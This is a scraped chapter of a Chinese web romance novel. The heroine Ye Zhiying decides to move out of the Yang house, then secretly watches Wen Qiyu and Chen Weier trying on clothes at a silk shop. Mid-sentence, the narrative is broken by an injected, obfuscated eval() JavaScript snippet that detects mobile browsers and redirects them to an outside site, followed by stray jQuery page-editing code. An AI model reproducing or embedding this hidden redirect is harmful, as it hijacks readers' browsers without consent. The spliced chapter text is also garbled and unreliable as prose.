127. “捉奸”现场

作品:《流萤逐玉

    醒来时,叶之萤发现自己正躺在杨府、榕兰为她准备的房间里。明亮的阳光透过树叶打在窗棂上,树叶在风间晃动,光斑在窗上跳跃,是个好天儿。


    可她的心情却正相反。


    “醒了,饿了吧?快去洗洗漱,过来吃东西。”刚没注意看,榕兰就在房里,正在餐桌旁忙活。


    她下意识地“噢”了一声,却还躺在床上没动。


    叶之萤以为温其玉会趁她醉酒把她带回温宅,这样自己就可以在酒醒后和他大闹一场,大吵一架,质问他为什么要带自己回去,再借机威胁他喝下解药,最后看在他迷途知返、认错态度良好的份儿上“勉为其难”的留在温宅。


    可他怎么又把自己给送回杨府了?


    虽然温宅也不是她的家,但她早已把那里当成自己家了。而这杨府,毕竟不是久居之处,还是得尽早做打算。


    “还愣着干嘛?都午时了!”榕兰见她躺在床上发呆,走到跟前叫她。


    “那个,嫂嫂,我……”她犹豫着坐起来,不知道该怎么跟她开口。


    榕兰看她一脸凝重的样子,也收起了笑,坐在她身边:“有什么事吗?”


    “我想搬出去住。”她道。


    “搬去哪儿?是要回温宅吗?你们俩和好了?”榕兰的语气有些狐疑。


    “不是,我想出去租个房子,或者住客栈。”她实话实说。


    榕兰一下子跳了起来:“胡闹!从前未与你重逢便罢,如今既已相认,我和你哥哥便是你唯一的亲人,岂有哥嫂撵亲妹子搬出去住的道理?莫说咱家有这么大的宅子,哪怕只有一间茅草房,我们也不会不管你,有我们住的就有你住的!你放心在家里住下,杨家家大业大,不差你这一口吃的,养你一辈子都没问题,你可不要有负担。”


    榕兰其实比叶之萤小,今年才二十五岁,但是为人泼辣又老成,说话做事都比实际年龄成熟不少,完全不像叶之萤这般任性,杨府的大事都是她拿主意,如果没有她,靠杨宗明——也就是陈阳——那个优柔寡断的性格,是不可能撑得起这么大的家业的。最重要的是,她知世故而不世故,泼辣却不刻薄,能干却不自大。陈阳何德何能,娶到这样能干的妻子!


    榕兰的话让叶之萤心里暖融融的,因为她心里很清楚,自己并不是他们的亲妹妹,但是在遥远的异乡,有一个原本陌生的人愿意这样真心待自己,令她倍感幸福。


    “怎么会是你们撵我走呢?明明是我自己要走的!”她亲密地搂起榕兰的肩,轻轻摇晃起来,“我想躲起来,去一个他找不到的地方,若是日日在杨府好吃好喝伺候着,那我回不回去,他都不着急了。”


    虽然叶之萤这几日总是话里话外赌气说温宅不是她的家,可实际上,她早就把那里当做自己家了,也早就把温其玉当成了这里唯一的亲人,她根本没想过要真的离开那里,离开温其玉。


    榕兰听她这么一说,哈哈大笑起来:“原来是这个心思啊,我还真当你不想回去了呢!”


    叶之萤被她笑话得有些不好意思。


    见她害羞了,榕兰适可而止地收起了笑:“昨个夜里是他送你回来的,临走时还看着睡梦中的你依依不舍,瞎子都看得出来,他想让你回去!”


    “是吗?”叶之萤一听这话便来了兴致,急忙追问,“他有没有说什么?”


    “他什么也没说,他身边那个阿力倒是交代我们再照顾你几日,还留了些银子,我们不收,他非要给。”顺着她的目光,叶之萤看到斗柜上确实放着一盒银锭。


    “你确定阿力的原话就是让你们再照顾我几日?”


    “没错,是这么说的,我当时还觉得奇怪呢。”


    “也就是说我这几天不能留在温宅?到底为什么不能留在温宅呢?”她一边自言自语,一边绞尽脑汁想可能的原因。


    “会不会跟温夫人有关?”榕兰也跟着猜了起来。


    “不应该啊,我昨天见过温夫人和他那个表妹了。”她否定了这个可能性,突然,一个念头闪过她脑海,“到二十九那日,解药就过期了!”


    “你是说,他想拖到解药过期再接你回去?”


    怒气直冲叶之萤的天灵盖!


    “他到底为什么就是不喝解药呢?我真的是想破脑袋也不能理解他的这个决定!”她激动地用拳猛捶枕头。


    “其实我也觉得这事有点怪怪的。你看啊,他如今这个样子,谁见了不叹声可惜,按理说他不会也不该拒绝这个机会,这不符合常理啊,莫非……”榕兰脸色忽的一变,悄声在她耳边道,“莫非是有什么别的隐情?”


    “隐情?”她倒没想到这茬,但经榕兰一提醒,似乎也有道理。再细想一番,只是怕她再去冒险就拒绝解药,宁愿一辈子全身瘫痪,这太过草率了,不像他一贯理智的性格。普天之下这么多能人异士,就算这次解药不对症,下次也不一定非要她去冒险啊?凭他的能耐,有的是人为他冒险。


    确实是太不合常理了,都怪自己太冲动,竟然没有好好想想这里面的逻辑关系,就知道一味地发脾气。


    但又转念一想:“不管这里面有什么隐情,他现在确实是要放弃解药啊!”


    转了一圈,问题又回到了原点。


    榕兰起身拍了拍她的肩安慰她:“温公子心思缜密、行事周全,他这么做,定有他的原因,你要做的就是相信他的决定!”


    相信他的决定?是啊,他比自己心机重得多,更比自己沉稳得多,什么时候轮到自己替他操心了呢!榕兰的话让叶之萤内心清明了不少,人各有命,她再怎么努力也无权左右别人的命运,就信他这一回吧!


    腊月二十五,沈氏布庄放假了。其实十日前沈老板就告诉过叶之萤了,但她却忘得一干二净,一大早赶到布庄门口,看到紧锁的大门上贴的放假通知才反应过来。不过既然出来了,就在街上逛逛吧。


    临近年关,各家各户都在为新年做准备,杨府也不例外。榕兰闲不住,即使有下人也要亲力亲为,整天忙得见不着人影,根本没空陪她。杨宗明倒是清闲点,但叶之萤跟他三观不合,实在聊不到一块儿去!


    她漫无目的在街上闲逛,没走两步,就来到了福裕绸庄门口。随意往里一瞥,竟看到了令她浑身发抖的一幕。


    温其玉和陈薇儿在里面。陈薇儿手里拿着一件外衣,正在亲手给温


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17042847|193740||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    其玉穿上。


    她迅速躲在那个卖花的摊位后面,让那些鲜花挡住自己的身体,又透过花丛的缝隙往绸庄里看。


    只见陈薇尔先提起温其玉的一条胳膊套进袖子里,放好,再将他另一条胳膊也套进去,又扶着他靠在靠背上,替他系好带子。这个过程由于陈小姐动作的不熟练难免有些磕绊,但温其玉竟然全程配合,没有表现出一点点不情愿!穿完后,他还很有礼貌地向她点头道谢。而后,陈薇尔推他至铜镜前,二人有说有笑,好不开心!


    叶之萤怒气上脑,他温其玉不是一向不喜欢别人碰他吗?不是还因此跟自己约法三章吗?怎么这会儿就喜欢上了?就不约法了?合着就是不愿意自己碰他啊?


    看俩人这亲密程度,这哪里是已经退婚,这分明是要结婚了呀!怪不得不让她回去,原来是怕她坏了他俩的好事啊!


    “奸夫yin妇!奸夫yin妇!”她气得没了理智,连连跺脚怒骂。


    “小姐,小姐?”卖花的小贩突然在一旁叫她。


    “干嘛?”她没好气地答道,双眼还死死地盯着对面。


    “我这花没得罪您呐,都快被您薅干净了……”小贩战战兢兢地说。


    叶之萤随即掏出一颗碎银扔给他:“够了吧?忙你的去!”


    三言两语就打发了他,继续偷看对面的情况。


    陈薇尔也去试穿新衣了,穿好后,在温其玉面前连着转了好几个圈,展示身上的衣服。她先是抬起宽袖,他满意地点点头,于是她放下袖子,莞尔一笑,又指着衣领让他看,他似乎对衣领的裁剪不太满意,一边耐心地给她建议一边摇着头,而她也撅起嘴,和他一起摇头。像极了一对琴瑟和鸣的恩爱夫妇。


    叶之萤只觉体内血压飙升。以前陪自己买衣服时也不见他这么有耐心,简直混蛋!她一把拔起面前那束已被薅得七零八碎的黄花,狠狠地扔到了地上,还不解恨,又用脚使劲碾碎,好像脚下踩的不是花,而是某人!


    身旁的花铺老板吓得不敢言语,只是悄悄把她面前那束尚未被摧毁的贵重的茶花挪到摊位另一侧重新插起来,又换了一束草花过来。


    很快,陈薇尔帮他脱掉了那套刚刚试穿的新衣,指着衣服给掌柜的展示需要改动的地方。又从轮椅下面取出水壶喂温其玉喝水。


    她一手托着温其玉的脑后,一手拿着水壶往他口中慢慢倒水。虽然已经很小心,他还是被水呛到了。一大口水从他口中喷出来,不光喷在自己的衣服上,更溅在陈薇尔刚刚换上的新衣上。


    陈薇尔脸色一阴,急忙用手抖掉身上的水。他也顾不上道歉,弓着腰不住地咳嗽,咳得面红耳赤,还是掌柜的跑过来为他拍背顺气,才慢慢止住了咳。从头到尾,陈薇尔都在埋头擦拭自己衣服上的水渍,全然没有理会他。


    看他狼狈的样子,叶之萤心里虽然也有一点为他难受,但还是忍不住感慨老天开眼,报应不爽!


    “活该!”


    花铺小贩又凑了过来:“这是你夫君?”


    “卖你的花去!”她没好气地道。


    “他们不是第一次来这里了。”他抱着一束花,看似漫不经心地说。